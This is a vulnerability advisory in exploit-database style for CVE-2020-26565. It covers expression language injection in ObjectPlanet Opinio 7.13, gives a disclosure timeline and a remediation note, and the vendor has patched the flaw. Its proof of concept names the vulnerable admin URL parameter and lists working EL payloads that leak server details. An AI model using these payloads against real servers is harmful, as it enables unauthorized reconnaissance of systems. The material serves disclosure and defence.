ObjectPlanet Opinio 7.13 Expression Language Injection

`# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng  
# CVE: CVE-2020-26565  
  
# Exploit Title: ObjectPlanet Opinio version 7.13 allows expression language injection  
# Vendor Homepage: https://www.objectplanet.com/opinio/  
# Software Link: https://www.objectplanet.com/opinio/  
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng  
# CVE: CVE-2020-26565  
  
# Timeline  
- September 2020: Initial discovery  
- October 2020: Reported to ObjectPlanet  
- November 2020: Fix/patch provided by ObjectPlanet  
- July 2021: CVE-2020-26565  
  
# 1. Introduction  
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.  
  
# 2. Vulnerability Details  
ObjectPlanet Opinio before version 7.13 is vulnerable to expression language injection  
  
# 3. Proof of Concept  
  
### Expression Language Injection leading to sensitive information disclosure ###  
  
Step 1:   
  
URL: /opinio/admin/permissionList.do?userId=1&from=$%7b7%2a7%7d  
Payload: ${7*7} - URL encoded  
  
The "from" parameter is vulnerable to Expression Language injection and this was validated by inspecting the loaded page source which executed the URL encoded payload to return 49  
  
This vulnerability can be used to enumerate the sensitive information about the web server. Some examples of payloads that executed successfully are:  
- ${pageContext.request.serverName} - returned server name  
- ${pageContext.serveletContext.serverInfo} - returned server information  
- ${pageContext.servletConfig.class} - returned information about the Apache server   
  
This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html  
  
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# 4. Remediation  
Apply the latest fix/patch from objectplanet.  
  
# 5. Credits  
Timothy Tan (https://sg.linkedin.com/in/timtjh)  
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)  
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)  
Daniel Tan (https://www.linkedin.com/in/dantanjk/)  
`